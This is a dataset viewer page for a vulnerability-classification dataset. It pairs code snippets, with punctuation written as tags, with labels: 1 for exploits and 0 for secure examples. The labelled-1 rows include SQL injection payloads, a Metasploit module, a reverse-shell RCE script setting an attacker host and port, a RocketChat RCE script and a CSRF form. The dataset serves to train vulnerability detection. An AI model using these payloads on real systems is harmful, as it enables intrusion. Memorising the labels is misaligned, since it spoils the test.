instruction stringclasses 1
value | input stringlengths 66 28.2k | output stringclasses 2
values |
|---|---|---|
please judge the source code for vulnerabilities. | <hyphen><hyphen><hyphen><hyphen><hyphen> PoC: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request: http:<slash><slash>localhost<slash>[PATH]<slash>kategori<slash>ikinci<hyphen>el<hyphen>klima.html?oz[]=1<underscore>1<NEWLINE>Vulnerable Parameters: oz[] (GET)<NEWLINE>Payload: 0<single<underscore>quote>XOR(if(n... | 1 |
please judge the source code for vulnerabilities. | require <single<underscore>quote>msf<slash>core<single<underscore>quote><NEWLINE>class Metasploit3 < Msf::Exploit::Remote<NEWLINE>Rank = ExcellentRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<si... | 1 |
please judge the source code for vulnerabilities. | import requests<NEWLINE>revhost = <single<underscore>quote>192.168.56.1<single<underscore>quote><NEWLINE>revport = 1337<NEWLINE>url = <single<underscore>quote>https:<slash><slash>192.168.56.102:444<slash>cgi<hyphen>bin<slash>ids.cgi<single<underscore>quote><NEWLINE>username = <single<underscore>quote>admin<single<under... | 1 |
please judge the source code for vulnerabilities. | String url = request.getParameter(<double<underscore>quote>url<double<underscore>quote>);<NEWLINE>if(Pattern.matches(<double<underscore>quote>^https?:<slash><slash>example<backslash>.com<slash><double<underscore>quote>, url)){<NEWLINE> response.sendRedirect(url);<NEWLINE>} | 0 |
please judge the source code for vulnerabilities. | @RequestMapping(<double<underscore>quote>{url:^https?:<slash><slash>example<backslash>.com<slash>}<double<underscore>quote>)<NEWLINE>public String redirect(@PathVariable String url){<NEWLINE> return <double<underscore>quote>redirect: <double<underscore>quote>+url;<NEWLINE>} | 0 |
please judge the source code for vulnerabilities. | url=params[:url]<NEWLINE>if url.match(<slash>^https?:<backslash><slash><backslash><slash>example<backslash>.com<backslash><slash>)<NEWLINE> redirect<underscore>to url<NEWLINE>end | 0 |
please judge the source code for vulnerabilities. | import requests<NEWLINE>import string<NEWLINE>import time<NEWLINE>import hashlib<NEWLINE>import json<NEWLINE>import oathtool<NEWLINE>import argparse<NEWLINE>parser = argparse.ArgumentParser(description=<single<underscore>quote>RocketChat 3.12.1 RCE<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<singl... | 1 |
please judge the source code for vulnerabilities. | |<NEWLINE>| NAS Uploader [V1.0&1.5] Remote File Upload Vulnerability<NEWLINE>|<NEWLINE>| Author : [ViRuSMaN]<NEWLINE>|<NEWLINE>| Contact : [v.<hyphen>m@live.com]<NEWLINE>|<NEWLINE>| Home : [Islam<hyphen>Attack.CoM , HackTeach.OrG]<NEWLINE>|<NEWLINE>| Download : [http:<slash><slash>www.nasuploader.com<slash>nasuploader<... | 1 |
please judge the source code for vulnerabilities. | <double<underscore>quote><double<underscore>quote><double<underscore>quote><NEWLINE>Coded by: @faisalfs10x<NEWLINE>GitHub: https:<slash><slash>github.com<slash>faisalfs10x<NEWLINE>Reference: https:<slash><slash>huntr.dev<slash>bounties<slash>d0049a96<hyphen>de90<hyphen>4b1a<hyphen>9111<hyphen>94de1044f295<slash><NEWLIN... | 1 |
please judge the source code for vulnerabilities. | Payload: id=5<single<underscore>quote> AND 3563=3563 AND <single<underscore>quote>HmOW<single<underscore>quote>=<single<underscore>quote>HmOW<NEWLINE>id=5<single<underscore>quote> AND (SELECT 7446 FROM(SELECT<NEWLINE>COUNT(*),CONCAT(0x7178707871,(SELECT<NEWLINE>(ELT(7446=7446,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM<N... | 1 |
please judge the source code for vulnerabilities. | <form method=<double<underscore>quote>POST<double<underscore>quote> action=<double<underscore>quote>http:<slash><slash>targetIp<slash>CPUCommands<double<underscore>quote>><NEWLINE><input name=<double<underscore>quote>PriNav<double<underscore>quote> value=<double<underscore>quote>Start<double<underscore>quote>><NEWLINE>... | 1 |
please judge the source code for vulnerabilities. | <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore><NEWLINE><slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <sla... | 1 |
please judge the source code for vulnerabilities. | public function validate<underscore>redirect<underscore>url()<NEWLINE>{<NEWLINE> $param=$this<hyphen>>get<underscore>param();<NEWLINE> <slash><slash>Usersディレクトリ用のアカウント名取得<NEWLINE> $session=AppGoatUtil::getSession();<NEWLINE> $username=$session[COLUMN<underscore>USERNAME];<NEWLINE> <slash><slash> ホスト名取得且つ... | 0 |
please judge the source code for vulnerabilities. | <div><NEWLINE> <h1> ${f:h(data)} <<slash>h1><NEWLINE><<slash>div> | 0 |
please judge the source code for vulnerabilities. | <div><NEWLINE> <h1><%= @data %><<slash>h1><NEWLINE><<slash>div> | 0 |
please judge the source code for vulnerabilities. | String sql = <double<underscore>quote>SELECT * FROM user WHERE id = ? AND name = ? ;<double<underscore>quote>;<NEWLINE>PreparedStatement stmt = con.prepareStatement(sql);<NEWLINE>stmt.setString(1, id);<NEWLINE>stmt.setString(2, name);<NEWLINE>ResultSet rs = stmt.executeQuery(); | 0 |
please judge the source code for vulnerabilities. | String sql = <double<underscore>quote>SELECT * FROM user WHERE id = ? AND name = ? ;<double<underscore>quote>;<NEWLINE>JdbcTemplete jt = new JdbcTemplete(this.dataSource);<NEWLINE>List list = jt.queryForList(sql,new Object[]{new String(id),new String(name)}); | 0 |
please judge the source code for vulnerabilities. | user=User.where(<double<underscore>quote>id= ? AND name = ?<double<underscore>quote>,id,name)<NEWLINE>if user<NEWLINE> session[:id] = user.id<NEWLINE>end | 0 |
please judge the source code for vulnerabilities. | public class Sample extends HttpServlet {<NEWLINE> public void doGet(HttpServletRequest request, HttpServletResponse response)<NEWLINE> throws IOException, ServletException {<NEWLINE> public static final String TMPLDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<unders... | 0 |
please judge the source code for vulnerabilities. | TMPDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote><NEWLINE>path = params[:filename]<NEWLINE>if path<NEWLINE> # File.basenameによりファイルパスからファイル名のみを取得する<NEWLINE> data = File.read(TMPDIR + File.basename(path))<NEWLINE>else<NEWLINE> raise <double<underscore>quot... | 0 |
please judge the source code for vulnerabilities. | public static final String TMPLDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote>;<NEWLINE>String dirname=TMPLDIR+request.getParameter(<double<underscore>quote>dirname<double<underscore>quote>);<NEWLINE>Runtime rt = Runtime.getRuntime();<NEWLINE>rt.exec(<double<under... | 0 |
please judge the source code for vulnerabilities. | TMPDIR = <double<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><double<underscore>quote><NEWLINE>dirname = TMPLDIR+params[:dirname] <NEWLINE>system(<double<underscore>quote>mkdir<double<underscore>quote>,dirname) | 0 |
please judge the source code for vulnerabilities. | public class Login extends HttpServlet {<NEWLINE> protected void doPost(HttpServletRequest req, HttpServletResponse res)<NEWLINE> throws ServletException, IOException {<NEWLINE> <slash><slash>ログイン処理成功時<NEWLINE> <slash><slash>セッション取得<NEWLINE> HttpSession session = req.getSession(true);<NEWLINE> <sl... | 0 |
please judge the source code for vulnerabilities. | user=User.find<underscore>by(id: params[:id],password: params[:password])<NEWLINE>#セッション情報を発行していない | 0 |
please judge the source code for vulnerabilities. | user=User.find<underscore>by(id: params[:id],password: params[:password])<NEWLINE>if user<NEWLINE> session[:id] = user.id<NEWLINE>end | 0 |
please judge the source code for vulnerabilities. | #ページ処理時<NEWLINE>if session[:id]<NEWLINE> @message=<double<underscore>quote>ようこそ<double<underscore>quote>+ session[:id]+<double<underscore>quote>さん<double<underscore>quote><NEWLINE>else<NEWLINE> @message=<double<underscore>quote>アクセス違反です。先にログインしてください。<double<underscore>quote><NEWLINE>end | 0 |
please judge the source code for vulnerabilities. | def redirect<NEWLINE> referer = params[:location]<NEWLINE> if referer.match(<slash><backslash>r|<backslash>n<slash>) == nil then<NEWLINE> redirect<underscore>to referer<NEWLINE> end<NEWLINE>end | 0 |
please judge the source code for vulnerabilities. | import java.io.*;<NEWLINE>import javax.servlet.*;<NEWLINE>import javax.servlet.http.*;<NEWLINE>public class SetResponseHeader extends HttpServlet {<NEWLINE> public void doGet(HttpServletRequest request, HttpServletResponse response)<NEWLINE> throws IOException, ServletException {<NEWLINE> <slash><slash... | 0 |
please judge the source code for vulnerabilities. | def setResponseHeader()<NEWLINE> # 前処理略<NEWLINE> # ヘッダ出力処理<NEWLINE> response.headers[<double<underscore>quote>X<hyphen>Frame<hyphen>Options<double<underscore>quote>] = <double<underscore>quote>SAMEORIGIN<double<underscore>quote><NEWLINE> # 後処理略<NEWLINE>end | 0 |
README.md exists but content is empty.
- Downloads last month
- 5